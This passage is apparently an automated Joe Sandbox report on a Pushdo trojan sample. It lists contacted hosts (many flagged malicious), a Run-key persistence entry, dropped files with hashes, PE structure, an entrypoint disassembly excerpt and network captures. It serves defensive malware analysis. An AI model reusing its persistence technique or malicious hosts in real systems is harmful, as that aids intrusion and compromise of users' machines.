https://www.elpro.si/kategorija-izdelka/merilniki-tlaka/elektricni-pribor-za-merilnike-tlaka/	CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587785142.00000000039F0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.689396373.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.707720564.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.796233428.0000000001180000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.583312553.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.585395327.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.631568200.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.635219809.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703472522.0000000004500000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.716616575.00000000038B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.714234066.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.623932255.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.586330546.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.703737392.0000000004660000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.706043620.0000000004660000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.credo.edu.pl/0	CX17SY6xF6.exe, 00000000.00000003.577604491.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://pohlfood.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fpohlfood.com%2F	CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
217.69.139.150	mxs.mail.ru	Russian Federation	47764	MAILRU-ASMailRuRU	true
76.74.184.61	alexpope.biz	Canada	13768	COGECO-PEER1CA	true
107.180.58.31	orbitgas.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
203.137.75.45	okashimo.com	Japan	4694	IDCFIDCFrontierIncJP	true
172.67.152.159	www.tvtools.fi	United States	13335	CLOUDFLARENETUS	false
104.20.55.214	unknown	United States	13335	CLOUDFLARENETUS	true
153.126.211.112	mikihan.com	Japan	7684	SAKURA-ASAKURAInternetIncJP	true
217.160.0.131	mackusick.de	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
3.130.204.160	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com	United States	16509	AMAZON-02US	false
198.49.23.144	midap.com	United States	53831	SQUARESPACEUS	true
194.143.194.23	reproar.com	Spain	8311	REDESTELRedestel-RedesdigitalesdeTelecomunicacionenI	true
5.189.171.125	muhr-soehne.de	Germany	51167	CONTABODE	false
49.212.243.77	listel.co.jp	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
83.223.113.46	dataform.co.uk	United Kingdom	29017	GYRONGB	true
91.229.22.126	pleszew.policja.gov.pl	Poland	198704	CSD-KGP-PL-ASBiuroLacznosciiInformatykiPL	true
5.39.75.157	bosado.com	France	16276	OVHFR	true
217.74.161.133	cnti.krsn.ru	Russian Federation	16300	INTERTAX-AREARU	true
66.226.70.66	mail.airmail.net	United States	30447	INFB2-ASUS	false
13.248.169.48	www.findbc.com	United States	16509	AMAZON-02US	false
85.128.196.22	strazynski.pl	Poland	15967	NAZWAPL	true
202.254.236.40	www.naoi-a.com	Japan	9371	SAKURA-CSAKURAInternetIncJP	false
81.2.194.241	www.edimart.hu	Czech Republic	24806	INTERNET-CZKtis238403KtisCZ	false
37.59.243.164	aluminox.es	France	16276	OVHFR	true
217.19.254.22	shanks.co.uk	United Kingdom	60819	SAFENAMES-ASGB	true
185.163.45.187	softizer.com	Moldova Republic of	39798	MIVOCLOUDMD	true
216.177.137.32	fortknox.bm	United States	395532	1P-WSSUS	false
219.94.129.97	web-york.com	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
49.212.232.113	unicus.jp	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
74.208.215.145	indonesiamedia.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
104.21.30.14	cubodown.com	United States	13335	CLOUDFLARENETUS	false
54.36.175.146	biurohera.pl	France	16276	OVHFR	true
46.30.60.158	ncn.de	Germany	15817	MITTWALD-ASMittwaldCMServiceGmbHundCoKGDE	true
104.21.23.9	unknown	United States	13335	CLOUDFLARENETUS	false
88.86.118.82	deckoviny.cz	Czech Republic	39392	SUPERNETWORK_CZ	true
192.99.226.184	s5w.com	Canada	16276	OVHFR	true
49.212.180.178	kumaden.com	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
195.78.66.50	www.photo4b.com	Poland	41079	SUPERHOST-PL-ASPL	false
137.118.26.67	fnw.us	United States	6250	NEONOVA-NETUS	false
188.166.152.188	www.c9dd.com	Netherlands	14061	DIGITALOCEAN-ASNUS	false
210.140.73.39	at-shun.com	Japan	4694	IDCFIDCFrontierIncJP	true
70.39.251.249	quadlock.com	United States	54641	INMOTI-1US	false
104.26.7.221	www.valdal.com	United States	13335	CLOUDFLARENETUS	false
62.75.216.137	www.tyrns.com	Germany	8972	GD-EMEA-DC-SXB1DE	false
13.224.103.99	d2kt7vovxa5e81.cloudfront.net	United States	16509	AMAZON-02US	false
62.122.170.171	shztm.ru	Czech Republic	50245	SERVEREL-ASNL	true
72.251.233.245	www.koz1.net	United States	29791	VOXEL-DOT-NETUS	false
13.224.103.91	unknown	United States	16509	AMAZON-02US	false
203.0.113.0	nme.co.jp	Reserved	136518	WA-GOVERNMENT-AS-APWAGovernmentprojectAU	true
216.239.32.21	calvinly.com	United States	15169	GOOGLEUS	false
208.100.26.245	atb-lit.com	United States	32748	STEADFASTUS	true
142.250.27.26	gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
51.159.3.117	ossir.org	France	12876	OnlineSASFR	true
82.201.61.230	www.nelipak.nl	Netherlands	15879	KPN-INTERNEDSERVICESNL	false
79.124.76.247	mkm-gr.com	Bulgaria	31083	TELEPOINTBG	true
192.124.249.3	pers.com	United States	30148	SUCURI-SECUS	true
46.19.218.80	mcseurope.nl	Netherlands	20559	FUNDAMENTS-ASNL	true
52.71.57.184	unknown	United States	14618	AMAZON-AESUS	false
192.241.158.94	nunomira.com	United States	14061	DIGITALOCEAN-ASNUS	false
63.251.106.25	kewlmail.com	United States	29791	VOXEL-DOT-NETUS	true
172.67.189.68	kavram.com	United States	13335	CLOUDFLARENETUS	true
195.96.252.188	nlcv.bas.bg	Bulgaria	8745	AS-BG-BASBG	true
212.44.102.57	oozkranj.com	Slovenia	43128	DHH-ASSI	true
172.217.16.179	ghs.googlehosted.com	United States	15169	GOOGLEUS	false
95.174.22.233	snf.it	Italy	12637	SEEWEBWebhostingcolocationandcloudservicesIT	true
104.21.79.166	simetar.com	United States	13335	CLOUDFLARENETUS	true
165.227.252.190	crcsi.org	United States	14061	DIGITALOCEAN-ASNUS	false
185.151.30.147	pertex.com	United Kingdom	48254	TWENTYIGB	true
208.80.123.104	gbp-jp.com	United States	16552	TIGGEEUS	true
103.168.172.216	in1.smtp.messagingengine.com	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	true
185.230.63.107	acraloc.com	Israel	58182	WIX_COMIL	true
198.185.159.145	refintl.org	United States	53831	SQUARESPACEUS	true
198.185.159.144	captlfix.com	United States	53831	SQUARESPACEUS	true
211.13.196.162	unknown	Japan	7514	MEXComputerEngineeringConsultingLtdJP	true
103.168.172.220	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	true
141.193.213.20	johnlyon.org	United States	396845	DV-PRIMARY-ASN1US	true
35.172.94.1	themark.org	United States	14618	AMAZON-AESUS	true
195.128.140.29	nettle.pl	Poland	56590	RBO-NETPL	true
159.89.244.183	wanoa.com	United States	14061	DIGITALOCEAN-ASNUS	true
69.163.239.62	sjbs.org	United States	26347	DREAMHOST-ASUS	false
104.26.3.124	www.kernsafe.com	United States	13335	CLOUDFLARENETUS	false
66.94.119.160	www.yocinc.org	United States	394513	AWESOMENET-CORPUS	false
204.11.56.48	impexnc.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
154.203.14.100	www.mobilnic.net	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
108.167.164.216	aevga.com	United States	46606	UNIFIEDLAYER-AS-1US	false
5.196.166.214	www.spanesi.com	France	16276	OVHFR	true
64.125.133.18	reglera.com	United States	393631	DLSS-CA-EMERYVILLE-ASUS	false
213.186.33.16	doggybag.org	France	16276	OVHFR	true
213.186.33.17	item-pr.com	France	16276	OVHFR	false
219.94.128.87	angework.com	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
93.187.206.66	www.yoruksut.com	Turkey	43391	NETDIREKT-ASTR	true
82.208.6.9	insia.com	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	true
87.230.93.218	dwid.de	Germany	8972	GD-EMEA-DC-SXB1DE	true
104.26.15.53	www.elpro.si	United States	13335	CLOUDFLARENETUS	false
157.112.176.4	www.11tochi.net	Japan	9371	SAKURA-CSAKURAInternetIncJP	false
75.2.70.75	kustnara.com	United States	16509	AMAZON-02US	true
52.86.6.113	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com	United States	14618	AMAZON-AESUS	false
18.165.183.19	d2r2uj0bnofxxz.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
54.161.222.85	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com	United States	14618	AMAZON-AESUS	false
211.1.226.67	www.ka-mo-me.com	Japan	7671	MCNETNTTSmartConnectCorporationJP	false

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1281452
Start date and time:	2023-07-27 21:51:07 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	CX17SY6xF6.exe
Original Sample Name:	db47df7cf51747e533c968da7452f1ce6d20f465d7fcd6e2eac559266ac3e9ed.exe
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@27/4@2054/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 69.4% (good quality ratio 60.9%) Quality average: 71.8% Quality standard deviation: 34.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 85 Number of non-executed functions: 97
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): audiodg.exe, WMIADAP.exe
Excluded IPs from analysis (whitelisted): 172.67.142.169, 104.21.63.28, 204.79.197.212
Excluded domains from analysis (whitelisted): www.ottospm.com.cdn.cloudflare.net, ctldl.windowsupdate.com, a-0010.a-msedge.net
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:52:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe
21:52:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe
21:53:15	API Interceptor	2x Sleep call for process: CX17SY6xF6.exe modified
21:53:49	API Interceptor	2x Sleep call for process: pigalicapi.exe modified
21:53:59	API Interceptor	11x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
holp-ai.com	nhVJ8J5qOt.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169
	fs7AQcREFX.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169
	6gjnnBAbpc.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169
	iJzpyjAehB.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169
	EksRd2mRLH.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	59.106.13.169
	d4bNCWDk1F.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169
	1EsDtA4mep.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	59.106.13.169
	lCVLEXbxih.exe	Get hash	malicious	Pushdo, DCRat, SmokeLoader	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, SmokeLoader, SystemBC	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, SmokeLoader, SystemBC	Browse	59.106.13.169
	h9Gwq0fYVO.exe	Get hash	malicious	Pushdo, SmokeLoader	Browse	59.106.13.169
	foNMlXr86C.exe	Get hash	malicious	Pushdo, SmokeLoader, SystemBC	Browse	59.106.13.169
	nwk9iV8lpS.exe	Get hash	malicious	Unknown	Browse	59.106.13.169
	file.exe	Get hash	malicious	Pushdo, SmokeLoader	Browse	59.106.13.169
	3ts2As2Bkm.exe	Get hash	malicious	Unknown	Browse	59.106.13.169
	ZBfaaLcshZ.exe	Get hash	malicious	Pushdo	Browse	59.106.13.169

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\bc49718863ee53e026d805ec372039e9_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Users\user\Desktop\CX17SY6xF6.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbq:4
MD5:	8CB7B7F28464C3FCBAE8A10C46204572
SHA1:	767FE80969EC2E67F54CC1B6D383C76E7859E2DE
SHA-256:	ED5E3DCEB0A1D68803745084985051C1ED41E11AC611DF8600B1A471F3752E96
SHA-512:	9BA84225FDB6C0FD69AD99B69824EC5B8D2B8FD3BB4610576DB4AD79ADF381F7F82C4C9522EC89F7171907577FAF1B4E70B82364F516CF8BBFED99D2ADEA43AF
Malicious:	false
Reputation:	unknown
Preview:	........................................user.

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\c5d8393293ce2ba62f117b2c2d55bc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Users\user\Desktop\CX17SY6xF6.exe
File Type:	Matlab v4 mat-file (little endian) , sparse, rows 0, columns 22
Category:	modified
Size (bytes):	1446
Entropy (8bit):	7.43256074707148
Encrypted:	false
SSDEEP:	24:EtPRDylUzIODFD8dy3EW9jpCoRkNDER4eYAyD3nps2jZ:EtP5ylUzIODFDMy0GCTE2TAy7ndZ
MD5:	70E1015191EED4214003EA3F8D3DCF93
SHA1:	1295050059C92317E87EA47DA3009ACCC06AB6E3
SHA-256:	C154F779E140E43A85171C05F98AC2EC4D6CE3A32846F69410C05D81C8C7B979
SHA-512:	CFB90E2AE08F2C283357DE2247753963520118FC5BB35ECF8989AF853D98D2831FEC92F0678D1A69392549E00320A165BE73D50F2BF132191B6676594AF0E181
Malicious:	false
Reputation:	unknown
Preview:	........................................MyDefaultKeyContainer.RSA1.................O...E.oe.`V...r3.wI_.-.T.<3x.).L..y]P.....\|R.]..W.>.......y!z..>b...RO...].;d.'.wqX...........<r.$`...G6.t6Vb.93B...R......................z..O......zV0/X.kH......1....,...C.r.y.p.t.o.A.P.I. .P.r.i.v.a.t.e. .K.e.y....f...... .....`.8g6......sr...O..Wb2.s...Q............ ...q.0....2...{.....\|o.^.>nA@7.......v..OR..F.#....@.b..`1..N(..=...b.3Sr.@G...c...yP..:p~..rd@.......}.8f...X.......c...B.N.l=...}[..<5...ch.<..%m.....Z.Q..YB.4R......:..v....p~/....oo.8eK..G.....B!...s..N.....L+=9U...hBG...35F..1,.t..<(`.3..6>$...b..........w$3..+uVzUK...T..]g.`...4..T2.+L.&.........d[>x.....J-..:.T..K3..e.d.fY.H......P.9.....P._:0.F.D..2D.....,[.E.).t.I]....N..zS<.U^.^aM._..~>..d..!...n\.Q2P....Pw:..9..V...}.B.s..GKp..Z.iF....g.[......2.o.B?4N.L.>D:$.&....}..d.\|.x.9.5........C]...7.....K..9.......}.4<3.l\|....L.n......Cz..x'....?w%....RaQ..jf..v...x.4."f......1J..v.m........JC..<!6

C:\Users\user\pigalicapi.exe

Download File

Process:	C:\Users\user\Desktop\CX17SY6xF6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	647680
Entropy (8bit):	7.024033720862588
Encrypted:	false
SSDEEP:	12288:fxpO6rJYR9z8fcKObTrge4calxG7G/R2dmyplrx3r3j1+:fxU6dYT8fKPUaa7GK/WlJro
MD5:	CA67C9C17A701B0664B90DE372ACDFB1
SHA1:	8D7E388B5D276816279EF37E7CAB9CD554251737
SHA-256:	DB47DF7CF51747E533C968DA7452F1CE6D20F465D7FCD6E2EAC559266AC3E9ED
SHA-512:	B3DADF871AABA70FAFB20E6AF4601013B225EB27565E6CEA73A739F90993E84F581B0A719AE61019E082B25EF0CDC4C573CBA2BD669C2A7310D8FAE5A6A87B04
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............V...V...V..W...V..W...V..W...V..UV...V..WV..V..VV...V}toV...V...V...V..W...V..[V...V..W...VRich...V........PE..L....6.d.....................j......U.............@..........................0............@....................................(...............................P......................................@...............4............................text...+........................... ..`.rdata...!......."..................@..@.data...X*....... ..................@....gfids..............................@..@.rsrc...............................@..@.reloc..P...........................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\pigalicapi.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\CX17SY6xF6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.024033720862588
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	CX17SY6xF6.exe
File size:	647'680 bytes
MD5:	ca67c9c17a701b0664b90de372acdfb1
SHA1:	8d7e388b5d276816279ef37e7cab9cd554251737
SHA256:	db47df7cf51747e533c968da7452f1ce6d20f465d7fcd6e2eac559266ac3e9ed
SHA512:	b3dadf871aaba70fafb20e6af4601013b225eb27565e6cea73a739f90993e84f581b0a719ae61019e082b25ef0cdc4c573cba2bd669c2a7310d8fae5a6a87b04
SSDEEP:	12288:fxpO6rJYR9z8fcKObTrge4calxG7G/R2dmyplrx3r3j1+:fxU6dYT8fKPUaa7GK/WlJro
TLSH:	9CD4E000F452FC31E9A3353F5861D55BD92C6D2C4B21CB9B3248CB3BBE52190AFA656B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............V...V...V...W...V...W...V...W...V..UV...V..WV...V..VV...V}toV...V...V...V...W...V..[V...V...W...VRich...V........PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40dc55
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x64C2368C [Thu Jul 27 09:19:08 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	70358da30a737c94107b030bef3e8be7

Entrypoint Preview

Instruction
call 00007F73BC46358Dh
jmp 00007F73BC462B13h
cmp ecx, dword ptr [0049DD74h]
jne 00007F73BC462C85h
ret
jmp 00007F73BC462FD9h
mov eax, dword ptr [esp+08h]
mov ecx, dword ptr [esp+10h]
or ecx, eax
mov ecx, dword ptr [esp+0Ch]
jne 00007F73BC462C8Bh
mov eax, dword ptr [esp+04h]
mul ecx
retn 0010h
push ebx
mul ecx
mov ebx, eax
mov eax, dword ptr [esp+08h]
mul dword ptr [esp+14h]
add ebx, eax
mov eax, dword ptr [esp+08h]
mul ecx
add edx, ebx
pop ebx
retn 0010h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
cmp cl, 00000040h
jnc 00007F73BC462C97h
cmp cl, 00000020h
jnc 00007F73BC462C88h
shld edx, eax, cl
shl eax, cl
ret
mov edx, eax
xor eax, eax
and cl, 0000001Fh
shl edx, cl
ret
xor eax, eax
xor edx, edx
ret
int3
push esi
mov eax, dword ptr [esp+14h]
or eax, eax
jne 00007F73BC462CAAh
mov ecx, dword ptr [esp+10h]
mov eax, dword ptr [esp+0Ch]
xor edx, edx
div ecx
mov ebx, eax
mov eax, dword ptr [esp+08h]
div ecx
mov esi, eax
mov eax, ebx
mul dword ptr [esp+10h]
mov ecx, eax
mov eax, esi
mul dword ptr [esp+10h]
add edx, ecx
jmp 00007F73BC462CC9h
mov ecx, eax
mov ebx, dword ptr [esp+10h]
mov edx, dword ptr [esp+0Ch]
mov eax, dword ptr [esp+08h]
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jne 00007F73BC462C76h
div ebx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5aac4	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa0000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa1000	0x1750	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x59ef0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x59f10	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x19000	0x134	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x17f2b	0x18000	False	0.5643208821614584	data	6.597156253943545	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x19000	0x4219e	0x42200	False	0.9165177516540642	data	7.69665778448415	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5c000	0x42a58	0x42000	False	0.7373342803030303	data	5.901059325521838	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.gfids	0x9f000	0xd0	0x200	False	0.318359375	data	1.8685085242841921	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xa0000	0x1e0	0x200	False	0.525390625	data	4.692060940173397	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa1000	0x1750	0x1800	False	0.802734375	data	6.619951716720241	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0xa0060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

CreateFileA, CloseHandle, GetCommandLineA, GetCurrentActCtx, FindFirstFileA, FindNextFileA, GetModuleFileNameA, GetModuleHandleA, GetCurrentProcessId, ReadFile, CreateFileMappingA, ExitProcess, VirtualAlloc, CreateMutexA, ReleaseMutex, MultiByteToWideChar, WideCharToMultiByte, SetHandleInformation, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, GetStringTypeW, GetLastError, SetLastError, GetCurrentThreadId, GetACP, EncodePointer, DecodePointer, HeapAlloc, HeapFree, GetModuleHandleW, GetProcAddress, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, FreeLibrary, LoadLibraryExW, LCMapStringW, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, IsValidCodePage, GetOEMCP, GetCPInfo, GetModuleHandleExW, GetProcessHeap, RaiseException, HeapSize, HeapReAlloc, GetStartupInfoW, QueryPerformanceCounter, InitializeSListHead, RtlUnwind, GetStdHandle, WriteFile, GetModuleFileNameW, FindClose, FindFirstFileExW, FindNextFileW, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetFileType, FlushFileBuffers, GetConsoleCP, GetConsoleMode, SetFilePointerEx, WriteConsoleW, CreateFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4188.114.96.749694802016867 07/27/23-21:52:20.127901	TCP	2016867	ET TROJAN Backdoor.Win32.Pushdo.s Checkin	49694	80	192.168.2.4	188.114.96.7

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2023 21:51:56.233550072 CEST	25	56253	219.94.128.87	192.168.2.4
Jul 27, 2023 21:51:56.233722925 CEST	56253	25	192.168.2.4	219.94.128.87
Jul 27, 2023 21:51:58.804796934 CEST	80	56238	104.21.235.31	192.168.2.4
Jul 27, 2023 21:51:58.805020094 CEST	56238	80	192.168.2.4	104.21.235.31
Jul 27, 2023 21:51:59.321151972 CEST	80	56244	141.193.213.20	192.168.2.4
Jul 27, 2023 21:51:59.321250916 CEST	56244	80	192.168.2.4	141.193.213.20
Jul 27, 2023 21:52:00.443370104 CEST	80	56259	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:00.443546057 CEST	56259	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:00.904985905 CEST	80	56261	188.114.97.7	192.168.2.4
